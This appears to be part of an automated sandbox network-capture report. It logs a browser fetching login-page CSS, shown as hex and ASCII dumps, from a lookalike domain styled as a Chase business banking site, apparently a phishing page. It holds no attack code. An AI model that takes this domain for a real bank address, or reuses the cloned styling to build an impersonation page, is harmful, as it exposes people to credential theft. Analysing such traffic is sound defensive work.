61 69 6e 2c 6e 61 76 2c 73 65 63 Data Ascii: /! normalize.css v3.0.1 \| MIT License \| git.io/normalize /*{box-sizing:border-box}html{font-family:sans-serif;-ms-text-size-adjust:100%;-webkit-text-size-adjust:100%}body{margin:0}article,aside,details,figcaption,figure,footer,header,hgroup,main,nav,sec
2024-12-20 00:17:07 UTC	16384	IN	Data Raw: 30 3b 63 6f 6c 6f 72 3a 23 66 66 66 3b 6c 65 74 74 65 72 2d 73 70 61 63 69 6e 67 3a 30 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 2e 6a 70 75 69 2e 62 75 74 74 6f 6e 3a 64 69 73 61 62 6c 65 64 20 2e 6c 61 62 65 6c 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 72 65 6d 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 34 30 30 3b 63 6f 6c 6f 72 3a 23 63 63 63 3b 6c 65 74 74 65 72 2d 73 70 61 63 69 6e 67 3a 30 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 2e 6a 70 75 69 2e 62 75 74 74 6f 6e 2e 74 65 72 74 69 61 72 79 20 2e 6c 61 62 65 6c 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 72 65 6d 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 34 30 30 3b 63 6f 6c 6f 72 3a 23 36 36 36 3b 6c 65 74 74 65 72 2d 73 70 61 63 69 6e 67 3a 30 3b 74 65 78 74 2d 64 65 Data Ascii: 0;color:#fff;letter-spacing:0;text-decoration:none}.jpui.button:disabled .label{font-size:1rem;font-weight:400;color:#ccc;letter-spacing:0;text-decoration:none}.jpui.button.tertiary .label{font-size:1rem;font-weight:400;color:#666;letter-spacing:0;text-de
2024-12-20 00:17:07 UTC	16384	IN	Data Raw: 2e 6a 70 75 69 2e 6c 61 62 65 6c 2e 65 72 72 6f 72 3a 68 6f 76 65 72 2c 2e 6a 70 75 69 2e 6c 61 62 65 6c 2e 65 72 72 6f 72 3a 6c 69 6e 6b 2c 2e 6a 70 75 69 2e 6c 61 62 65 6c 2e 65 72 72 6f 72 3a 76 69 73 69 74 65 64 2c 2e 6a 70 75 69 2e 6c 61 62 65 6c 2e 69 6e 66 6f 3a 61 63 74 69 76 65 2c 2e 6a 70 75 69 2e 6c 61 62 65 6c 2e 69 6e 66 6f 3a 68 6f 76 65 72 2c 2e 6a 70 75 69 2e 6c 61 62 65 6c 2e 69 6e 66 6f 3a 6c 69 6e 6b 2c 2e 6a 70 75 69 2e 6c 61 62 65 6c 2e 69 6e 66 6f 3a 76 69 73 69 74 65 64 2c 2e 6a 70 75 69 2e 6c 61 62 65 6c 2e 73 75 63 63 65 73 73 3a 61 63 74 69 76 65 2c 2e 6a 70 75 69 2e 6c 61 62 65 6c 2e 73 75 63 63 65 73 73 3a 68 6f 76 65 72 2c 2e 6a 70 75 69 2e 6c 61 62 65 6c 2e 73 75 63 63 65 73 73 3a 6c 69 6e 6b 2c 2e 6a 70 75 69 2e 6c 61 62 65 Data Ascii: .jpui.label.error:hover,.jpui.label.error:link,.jpui.label.error:visited,.jpui.label.info:active,.jpui.label.info:hover,.jpui.label.info:link,.jpui.label.info:visited,.jpui.label.success:active,.jpui.label.success:hover,.jpui.label.success:link,.jpui.labe
2024-12-20 00:17:07 UTC	16384	IN	Data Raw: 64 72 6f 70 64 6f 77 6e 2e 64 61 72 6b 20 2e 6f 70 74 69 6f 6e 2e 64 72 6f 70 64 6f 77 6e 2d 6f 70 74 69 6f 6e 20 2e 70 72 69 6d 61 72 79 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 72 65 6d 7d 7d 2e 6a 70 75 69 2e 64 72 6f 70 64 6f 77 6e 2e 64 61 72 6b 20 2e 6f 70 74 69 6f 6e 20 2e 70 72 69 6d 61 72 79 3a 61 63 74 69 76 65 7b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 38 37 35 72 65 6d 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 34 30 30 3b 63 6f 6c 6f 72 3a 23 66 66 66 3b 6c 65 74 74 65 72 2d 73 70 61 63 69 6e 67 3a 30 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 77 69 64 74 68 3a 37 36 38 70 78 29 7b 2e 6a 70 75 69 2e 64 72 6f 70 64 6f 77 6e 2e 64 61 72 6b 20 2e 6f 70 74 69 6f 6e 20 2e Data Ascii: dropdown.dark .option.dropdown-option .primary{font-size:1rem}}.jpui.dropdown.dark .option .primary:active{font-size:.875rem;font-weight:400;color:#fff;letter-spacing:0;text-decoration:none}@media screen and (min-width:768px){.jpui.dropdown.dark .option .
2024-12-20 00:17:07 UTC	16384	IN	Data Raw: 6c 65 66 74 3a 34 31 2e 36 36 36 36 36 36 36 37 25 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 63 6f 6c 2d 73 6d 2d 70 75 73 68 2d 34 7b 6c 65 66 74 3a 33 33 2e 33 33 33 33 33 33 33 33 25 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 63 6f 6c 2d 73 6d 2d 70 75 73 68 2d 33 7b 6c 65 66 74 3a 32 35 25 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 63 6f 6c 2d 73 6d 2d 70 75 73 68 2d 32 7b 6c 65 66 74 3a 31 36 2e 36 36 36 36 36 36 36 37 25 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 63 6f 6c 2d 73 6d 2d 70 75 73 68 2d 31 7b 6c 65 66 74 3a 38 2e 33 33 33 33 33 33 33 33 25 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 63 6f 6c 2d 73 6d 2d 70 75 73 68 2d 30 7b 6c 65 66 74 3a 61 75 74 6f 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 63 6f 6c 2d 73 6d 2d 6f 66 66 73 65 74 2d 31 32 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a Data Ascii: left:41.66666667%!important}.col-sm-push-4{left:33.33333333%!important}.col-sm-push-3{left:25%!important}.col-sm-push-2{left:16.66666667%!important}.col-sm-push-1{left:8.33333333%!important}.col-sm-push-0{left:auto!important}.col-sm-offset-12{margin-left:
2024-12-20 00:17:07 UTC	16384	IN	Data Raw: 65 3e 61 7b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 75 6e 64 65 72 6c 69 6e 65 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 6a 70 75 69 2e 61 6c 65 72 74 2e 69 6e 66 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 31 32 36 62 63 35 7d 2e 6a 70 75 69 2e 61 6c 65 72 74 2e 69 6e 66 6f 2e 69 6e 76 65 72 74 65 64 7b 62 6f 72 64 65 72 3a 2e 30 36 32 35 72 65 6d 20 73 6f 6c 69 64 20 23 31 32 36 62 63 35 21 69 6d 70 6f 72 74 61 6e 74 3b 63 6f 6c 6f 72 3a 23 31 32 36 62 63 35 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 6a 70 75 69 2e 61 6c 65 72 74 2e 73 75 63 63 65 73 73 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 31 32 38 38 34 32 7d 2e 6a 70 75 69 2e 61 6c 65 72 74 2e 73 75 63 63 65 73 73 2e 69 6e 76 65 72 74 65 64 7b 62 6f 72 64 65 72 3a 2e 30 Data Ascii: e>a{text-decoration:underline!important}.jpui.alert.info{background-color:#126bc5}.jpui.alert.info.inverted{border:.0625rem solid #126bc5!important;color:#126bc5!important}.jpui.alert.success{background-color:#128842}.jpui.alert.success.inverted{border:.0
2024-12-20 00:17:07 UTC	16384	IN	Data Raw: 6e 2d 67 61 6c 6c 65 72 79 2d 69 6d 67 7b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 3b 6d 61 72 67 69 6e 3a 30 20 61 75 74 6f 3b 6d 61 78 2d 77 69 64 74 68 3a 31 30 30 25 3b 68 65 69 67 68 74 3a 31 30 30 25 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 72 65 70 65 61 74 3a 6e 6f 2d 72 65 70 65 61 74 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 73 69 7a 65 3a 61 75 74 6f 20 31 30 30 25 7d 2e 6a 70 75 69 2e 63 61 72 6f 75 73 65 6c 20 2e 69 6d 61 67 65 2d 63 6f 6e 74 61 69 6e 65 72 20 2e 6d 61 69 6e 2d 67 61 6c 6c 65 72 79 2d 61 6c 74 74 65 78 74 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 3b 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 3b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 7a 2d 69 6e 64 65 78 3a 32 3b 66 6f 6e Data Ascii: n-gallery-img{display:block;margin:0 auto;max-width:100%;height:100%;background-repeat:no-repeat;background-size:auto 100%}.jpui.carousel .image-container .main-gallery-alttext{background-color:transparent;color:transparent;position:absolute;z-index:2;fon
2024-12-20 00:17:07 UTC	16384	IN	Data Raw: 64 6f 77 3a 30 20 30 20 30 20 36 2e 32 35 72 65 6d 20 23 66 66 66 20 69 6e 73 65 74 3b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 35 30 25 7d 40 6d 65 64 69 61 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 36 37 70 78 29 7b 2e 6a 70 75 69 2e 64 61 74 65 70 69 63 6b 65 72 20 74 61 62 6c 65 2e 63 61 6c 65 6e 64 61 72 20 74 62 6f 64 79 20 74 72 20 74 64 2e 63 61 6c 65 6e 64 61 72 63 65 6c 6c 2e 69 6e 76 61 6c 69 64 3a 68 6f 76 65 72 7b 62 6f 72 64 65 72 2d 77 69 64 74 68 3a 2e 35 72 65 6d 7d 7d 2e 6a 70 75 69 2e 64 61 74 65 70 69 63 6b 65 72 20 74 61 62 6c 65 2e 63 61 6c 65 6e 64 61 72 20 74 62 6f 64 79 20 74 72 20 74 64 2e 63 61 6c 65 6e 64 61 72 63 65 6c 6c 2e 74 6f 64 61 79 7b 63 6f 6c 6f 72 3a 23 34 32 34 31 34 33 3b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 35 Data Ascii: dow:0 0 0 6.25rem #fff inset;border-radius:50%}@media (max-width:767px){.jpui.datepicker table.calendar tbody tr td.calendarcell.invalid:hover{border-width:.5rem}}.jpui.datepicker table.calendar tbody tr td.calendarcell.today{color:#424143;border-radius:5
2024-12-20 00:17:07 UTC	16384	IN	Data Raw: 6f 6e 74 61 69 6e 65 72 2d 2d 6d 61 78 2d 68 65 69 67 68 74 3e 2e 6c 69 73 74 3a 6e 6f 74 28 2e 6c 69 73 74 2d 63 6f 6e 74 61 69 6e 65 72 2d 2d 74 6f 75 63 68 2d 73 63 72 65 65 6e 29 3e 2e 67 72 6f 75 70 2d 63 6f 6e 74 61 69 6e 65 72 2e 67 72 6f 75 70 4f 70 65 6e 7b 68 65 69 67 68 74 3a 61 75 74 6f 7d 2e 6a 70 75 69 2e 64 72 6f 70 64 6f 77 6e 2e 73 68 6f 77 20 2e 6c 69 73 74 2d 63 6f 6e 74 61 69 6e 65 72 2d 2d 6d 61 78 2d 68 65 69 67 68 74 3e 2e 6c 69 73 74 3a 6e 6f 74 28 2e 6c 69 73 74 2d 63 6f 6e 74 61 69 6e 65 72 2d 2d 74 6f 75 63 68 2d 73 63 72 65 65 6e 29 20 2e 67 72 6f 75 70 2d 63 6f 6e 74 61 69 6e 65 72 3e 2e 67 72 6f 75 70 2d 74 69 74 6c 65 2c 2e 6a 70 75 69 2e 64 72 6f 70 64 6f 77 6e 2e 73 68 6f 77 20 2e 6c 69 73 74 2d 63 6f 6e 74 61 69 6e 65 72 Data Ascii: ontainer--max-height>.list:not(.list-container--touch-screen)>.group-container.groupOpen{height:auto}.jpui.dropdown.show .list-container--max-height>.list:not(.list-container--touch-screen) .group-container>.group-title,.jpui.dropdown.show .list-container
2024-12-20 00:17:07 UTC	16384	IN	Data Raw: 74 2d 74 61 62 6c 65 20 2e 68 65 61 64 65 72 2d 72 6f 77 20 2e 63 65 6c 6c 7b 63 6f 6c 6f 72 3a 23 34 31 34 30 34 32 7d 2e 6a 70 75 69 2e 63 68 61 72 74 20 2e 70 69 65 2d 63 6f 6e 74 61 69 6e 65 72 20 2e 74 61 62 6c 65 2e 67 72 6f 75 70 65 64 2d 70 69 65 2d 64 6f 6e 75 74 20 2e 63 68 61 72 74 2d 74 61 62 6c 65 3a 6e 6f 74 28 3a 66 69 72 73 74 2d 6f 66 2d 74 79 70 65 29 20 2e 63 61 70 74 69 6f 6e 2d 68 65 61 64 65 72 7b 74 6f 70 3a 31 2e 33 37 35 72 65 6d 7d 2e 6a 70 75 69 2e 63 68 61 72 74 20 2e 70 69 65 2d 63 6f 6e 74 61 69 6e 65 72 20 2e 74 61 62 6c 65 2e 67 72 6f 75 70 65 64 2d 70 69 65 2d 64 6f 6e 75 74 20 2e 63 68 61 72 74 2d 74 61 62 6c 65 3a 66 69 72 73 74 2d 6f 66 2d 74 79 70 65 20 2e 63 61 70 74 69 6f 6e 2d 68 65 61 64 65 72 7b 74 6f 70 3a 31 2e Data Ascii: t-table .header-row .cell{color:#414042}.jpui.chart .pie-container .table.grouped-pie-donut .chart-table:not(:first-of-type) .caption-header{top:1.375rem}.jpui.chart .pie-container .table.grouped-pie-donut .chart-table:first-of-type .caption-header{top:1.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.4	49864	188.119.66.154	443	3180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 00:17:06 UTC	842	OUT	GET /content/css/logon.css HTTP/1.1 Host: online.access.secure001.chase-business.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://online.access.secure001.chase-business.com/web/auth/dashboard/dashboard/index/index Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=kcal1ci3pcv6avg4qh6n1dhnv7; stp=0; ppath=web%2Fauth%2Fdashboard%2Fdashboard%2Findex%2Findex; uid=5a4d22e2b2bbd8eeecd1e5b6b012d987; wt=0; uid_hash=bbecbe4eee67084dce4f604c98e6ce6e
2024-12-20 00:17:06 UTC	275	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 00:17:06 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Thu, 27 Jun 2024 16:31:22 GMT ETag: "27bce-61be1a9492a80" Accept-Ranges: bytes Content-Length: 162766 Vary: Accept-Encoding Connection: close Content-Type: text/css
2024-12-20 00:17:07 UTC	16384	IN	Data Raw: 2e 62 6f 74 74 6f 6d 53 68 65 65 74 43 6f 6e 74 61 69 6e 65 72 2c 2e 62 6f 74 74 6f 6d 53 68 65 65 74 48 65 61 64 65 72 7b 6f 75 74 6c 69 6e 65 2d 73 74 79 6c 65 3a 6e 6f 6e 65 7d 23 66 6f 72 67 6f 74 2d 70 61 73 73 77 6f 72 64 2d 63 6f 6e 74 61 69 6e 65 72 20 2e 70 61 73 73 77 6f 72 64 2d 72 65 73 65 74 2d 68 65 61 64 65 72 2d 6c 61 62 65 6c 2c 23 73 65 72 76 69 63 65 45 72 72 6f 72 44 69 61 6c 6f 67 2e 6a 70 75 69 2e 6d 6f 64 61 6c 20 2e 73 69 6e 67 6c 65 2d 62 75 74 74 6f 6e 2c 23 73 65 73 73 69 6f 6e 54 69 6d 65 6f 75 74 44 69 61 6c 6f 67 2e 6a 70 75 69 2e 6d 6f 64 61 6c 20 2e 73 69 6e 67 6c 65 2d 62 75 74 74 6f 6e 2c 23 74 72 61 6e 73 61 63 74 69 6f 6e 43 6f 6e 66 69 72 6d 61 74 69 6f 6e 20 2e 63 6f 6e 66 69 72 6d 61 74 69 6f 6e 2d 62 75 74 74 6f 6e Data Ascii: .bottomSheetContainer,.bottomSheetHeader{outline-style:none}#forgot-password-container .password-reset-header-label,#serviceErrorDialog.jpui.modal .single-button,#sessionTimeoutDialog.jpui.modal .single-button,#transactionConfirmation .confirmation-button
2024-12-20 00:17:07 UTC	16384	IN	Data Raw: 65 72 41 75 74 68 20 23 73 69 6d 70 6c 65 72 2d 61 75 74 68 20 2e 6a 70 75 69 2e 70 61 6e 65 6c 2e 70 72 69 6d 61 72 79 20 2e 63 6f 6e 74 65 6e 74 2d 63 6f 6e 74 61 69 6e 65 72 20 2e 62 6f 64 79 20 2e 73 69 6d 70 6c 65 72 41 75 74 68 2d 32 46 41 2d 63 61 6e 63 65 6c 7b 62 6f 74 74 6f 6d 3a 2d 35 72 65 6d 3b 72 69 67 68 74 3a 2e 35 72 65 6d 7d 2e 6c 6f 67 6f 6e 2d 73 69 6d 70 6c 65 72 41 75 74 68 20 23 73 69 6d 70 6c 65 72 2d 61 75 74 68 20 2e 6a 70 75 69 2e 70 61 6e 65 6c 2e 70 72 69 6d 61 72 79 20 2e 63 6f 6e 74 65 6e 74 2d 63 6f 6e 74 61 69 6e 65 72 20 2e 62 6f 64 79 20 2e 72 65 63 74 61 6e 67 6c 65 73 7b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 31 32 70 78 7d 2e 6c 6f 67 6f 6e 2d 73 69 6d 70 6c 65 72 41 75 74 68 20 23 73 69 6d 70 6c 65 72 2d 61 75 74 Data Ascii: erAuth #simpler-auth .jpui.panel.primary .content-container .body .simplerAuth-2FA-cancel{bottom:-5rem;right:.5rem}.logon-simplerAuth #simpler-auth .jpui.panel.primary .content-container .body .rectangles{margin-bottom:12px}.logon-simplerAuth #simpler-aut
2024-12-20 00:17:07 UTC	16384	IN	Data Raw: 33 43 70 61 74 68 25 32 30 64 25 33 44 25 32 32 4d 32 34 25 32 30 37 2e 31 39 39 39 35 56 34 32 2e 34 38 43 33 30 2e 36 25 32 30 33 39 2e 31 38 25 32 30 33 35 2e 37 25 32 30 33 32 2e 37 35 34 25 32 30 33 37 2e 39 31 37 25 32 30 32 34 2e 38 34 43 33 38 2e 37 31 38 25 32 30 32 31 2e 39 36 38 36 25 32 30 33 39 2e 31 32 31 37 25 32 30 31 39 2e 30 30 31 25 32 30 33 39 2e 31 31 37 25 32 30 31 36 2e 30 32 4c 32 34 25 32 30 37 2e 31 39 39 39 35 5a 25 32 32 25 32 30 66 69 6c 6c 25 33 44 25 32 32 25 32 33 30 30 35 65 62 38 25 32 32 25 32 46 25 33 45 25 30 41 25 33 43 70 61 74 68 25 32 30 64 25 33 44 25 32 32 4d 32 34 25 32 30 33 37 2e 36 32 35 39 4c 32 33 2e 35 34 34 25 32 30 33 37 2e 33 32 35 39 43 31 37 2e 38 36 35 25 32 30 33 33 2e 34 34 36 39 25 32 30 31 34 2e Data Ascii: 3Cpath%20d%3D%22M24%207.19995V42.48C30.6%2039.18%2035.7%2032.754%2037.917%2024.84C38.718%2021.9686%2039.1217%2019.001%2039.117%2016.02L24%207.19995Z%22%20fill%3D%22%23005eb8%22%2F%3E%0A%3Cpath%20d%3D%22M24%2037.6259L23.544%2037.3259C17.865%2033.4469%2014.
2024-12-20 00:17:07 UTC	16384	IN	Data Raw: 35 65 6d 7d 2e 6c 6f 67 6f 6e 20 2e 62 75 74 74 6f 6e 2d 63 6f 6e 74 61 69 6e 65 72 20 2e 62 75 74 74 6f 6e 2c 2e 6c 6f 67 6f 6e 20 2e 77 6f 72 6b 66 6c 6f 77 2d 62 75 74 74 6f 6e 2d 63 6f 6e 74 61 69 6e 65 72 20 2e 62 75 74 74 6f 6e 2c 2e 6d 73 64 20 2e 62 75 74 74 6f 6e 2d 63 6f 6e 74 61 69 6e 65 72 20 2e 62 75 74 74 6f 6e 2c 2e 6d 73 64 20 2e 77 6f 72 6b 66 6c 6f 77 2d 62 75 74 74 6f 6e 2d 63 6f 6e 74 61 69 6e 65 72 20 2e 62 75 74 74 6f 6e 7b 6d 69 6e 2d 77 69 64 74 68 3a 69 6e 68 65 72 69 74 3b 6d 61 72 67 69 6e 3a 2e 32 35 65 6d 20 30 7d 2e 73 77 69 70 65 2d 63 6f 6e 74 61 69 6e 65 72 7b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 3b 77 69 64 74 68 3a 31 30 30 25 3b 68 65 69 67 68 74 3a 31 30 30 Data Ascii: 5em}.logon .button-container .button,.logon .workflow-button-container .button,.msd .button-container .button,.msd .workflow-button-container .button{min-width:inherit;margin:.25em 0}.swipe-container{position:absolute;overflow:hidden;width:100%;height:100
2024-12-20 00:17:07 UTC	16384	IN	Data Raw: 75 62 2e 73 69 6d 70 6c 65 2e 74 61 62 6c 65 3e 74 62 6f 64 79 3e 74 72 3e 74 64 20 61 2c 2e 73 74 75 62 2e 73 69 6d 70 6c 65 2e 74 61 62 6c 65 3e 74 62 6f 64 79 3e 74 72 3e 74 64 20 61 3a 61 63 74 69 76 65 2c 2e 73 74 75 62 2e 73 69 6d 70 6c 65 2e 74 61 62 6c 65 3e 74 62 6f 64 79 3e 74 72 3e 74 64 20 61 3a 68 6f 76 65 72 2c 2e 73 74 75 62 2e 73 69 6d 70 6c 65 2e 74 61 62 6c 65 3e 74 62 6f 64 79 3e 74 72 3e 74 64 20 61 3a 76 69 73 69 74 65 64 7b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 38 31 32 35 72 65 6d 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 34 30 30 3b 63 6f 6c 6f 72 3a 23 31 32 36 62 63 35 3b 6c 65 74 74 65 72 2d 73 70 61 63 69 6e 67 3a 30 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 2e 73 74 75 62 2e 66 6f 72 6d 2e 74 61 62 6c 65 3e 74 Data Ascii: ub.simple.table>tbody>tr>td a,.stub.simple.table>tbody>tr>td a:active,.stub.simple.table>tbody>tr>td a:hover,.stub.simple.table>tbody>tr>td a:visited{font-size:.8125rem;font-weight:400;color:#126bc5;letter-spacing:0;text-decoration:none}.stub.form.table>t
2024-12-20 00:17:07 UTC	16384	IN	Data Raw: 69 6e 65 72 20 2e 70 72 69 76 61 63 79 2d 70 72 65 66 65 72 65 6e 63 65 73 2d 62 6c 6f 63 6b 2d 63 6f 6e 74 61 69 6e 65 72 20 2e 70 72 69 76 61 63 79 2d 70 72 65 66 65 72 65 6e 63 65 73 2d 66 6f 6f 74 65 72 20 2e 70 72 69 76 61 63 79 2d 70 72 65 66 65 72 65 6e 63 65 73 2d 66 6f 6f 74 6e 6f 74 65 73 20 61 2c 23 70 72 69 76 61 63 79 2d 70 72 65 66 65 72 65 6e 63 65 73 2d 70 75 62 6c 69 63 2d 63 6f 6e 74 61 69 6e 65 72 20 2e 70 72 69 76 61 63 79 2d 70 72 65 66 65 72 65 6e 63 65 73 2d 62 6c 6f 63 6b 2d 63 6f 6e 74 61 69 6e 65 72 20 2e 70 72 69 76 61 63 79 2d 70 72 65 66 65 72 65 6e 63 65 73 2d 66 6f 6f 74 65 72 20 2e 70 72 69 76 61 63 79 2d 70 72 65 66 65 72 65 6e 63 65 73 2d 66 6f 6f 74 6e 6f 74 65 73 20 61 3a 61 63 74 69 76 65 2c 23 70 72 69 76 61 63 79 2d Data Ascii: iner .privacy-preferences-block-container .privacy-preferences-footer .privacy-preferences-footnotes a,#privacy-preferences-public-container .privacy-preferences-block-container .privacy-preferences-footer .privacy-preferences-footnotes a:active,#privacy-
2024-12-20 00:17:07 UTC	16384	IN	Data Raw: 37 35 25 3b 6d 61 78 2d 77 69 64 74 68 3a 37 35 25 7d 2e 6d 64 73 2d 63 6f 6c 2d 61 74 2d 35 37 36 2d 31 30 7b 66 6c 65 78 3a 30 20 30 20 38 33 2e 33 33 33 33 33 33 33 33 33 33 25 3b 6d 61 78 2d 77 69 64 74 68 3a 38 33 2e 33 33 33 33 33 33 33 33 33 33 25 7d 2e 6d 64 73 2d 63 6f 6c 2d 61 74 2d 35 37 36 2d 31 31 7b 66 6c 65 78 3a 30 20 30 20 39 31 2e 36 36 36 36 36 36 36 36 36 37 25 3b 6d 61 78 2d 77 69 64 74 68 3a 39 31 2e 36 36 36 36 36 36 36 36 36 37 25 7d 2e 6d 64 73 2d 63 6f 6c 2d 61 74 2d 35 37 36 2d 31 32 7b 66 6c 65 78 3a 30 20 30 20 31 30 30 25 3b 6d 61 78 2d 77 69 64 74 68 3a 31 30 30 25 7d 2e 6d 64 73 2d 6f 66 66 73 65 74 2d 61 74 2d 35 37 36 2d 30 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 30 7d 2e 6d 64 73 2d 6f 66 66 73 65 74 2d 61 74 2d 35 37 36 Data Ascii: 75%;max-width:75%}.mds-col-at-576-10{flex:0 0 83.3333333333%;max-width:83.3333333333%}.mds-col-at-576-11{flex:0 0 91.6666666667%;max-width:91.6666666667%}.mds-col-at-576-12{flex:0 0 100%;max-width:100%}.mds-offset-at-576-0{margin-left:0}.mds-offset-at-576
2024-12-20 00:17:07 UTC	16384	IN	Data Raw: 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 6d 64 73 2d 6d 62 2d 38 2c 2e 6d 64 73 2d 6d 79 2d 38 7b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 36 34 70 78 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 6d 64 73 2d 70 2d 37 7b 70 61 64 64 69 6e 67 3a 34 38 70 78 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 6d 64 73 2d 70 6c 2d 38 2c 2e 6d 64 73 2d 70 78 2d 38 7b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 36 34 70 78 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 6d 64 73 2d 70 72 2d 38 2c 2e 6d 64 73 2d 70 78 2d 38 7b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 36 34 70 78 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 6d 64 73 2d 70 74 2d 38 2c 2e 6d 64 73 2d 70 79 2d 38 7b 70 61 64 64 69 6e 67 2d 74 6f 70 3a 36 34 70 78 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 6d 64 73 2d 70 62 2d 38 2c 2e 6d 64 73 2d 70 79 2d 38 Data Ascii: !important}.mds-mb-8,.mds-my-8{margin-bottom:64px!important}.mds-p-7{padding:48px!important}.mds-pl-8,.mds-px-8{padding-left:64px!important}.mds-pr-8,.mds-px-8{padding-right:64px!important}.mds-pt-8,.mds-py-8{padding-top:64px!important}.mds-pb-8,.mds-py-8
2024-12-20 00:17:07 UTC	16384	IN	Data Raw: 64 73 2d 6d 78 2d 61 74 2d 35 37 36 2d 36 7b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 33 32 70 78 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 6d 64 73 2d 6d 74 2d 61 74 2d 35 37 36 2d 36 2c 2e 6d 64 73 2d 6d 79 2d 61 74 2d 35 37 36 2d 36 7b 6d 61 72 67 69 6e 2d 74 6f 70 3a 33 32 70 78 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 6d 64 73 2d 6d 62 2d 61 74 2d 35 37 36 2d 36 2c 2e 6d 64 73 2d 6d 79 2d 61 74 2d 35 37 36 2d 36 7b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 33 32 70 78 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 6d 64 73 2d 70 2d 61 74 2d 35 37 36 2d 35 7b 70 61 64 64 69 6e 67 3a 32 34 70 78 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 6d 64 73 2d 70 6c 2d 61 74 2d 35 37 36 2d 36 2c 2e 6d 64 73 2d 70 78 2d 61 74 2d 35 37 36 2d 36 7b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 33 32 70 Data Ascii: ds-mx-at-576-6{margin-right:32px!important}.mds-mt-at-576-6,.mds-my-at-576-6{margin-top:32px!important}.mds-mb-at-576-6,.mds-my-at-576-6{margin-bottom:32px!important}.mds-p-at-576-5{padding:24px!important}.mds-pl-at-576-6,.mds-px-at-576-6{padding-left:32p
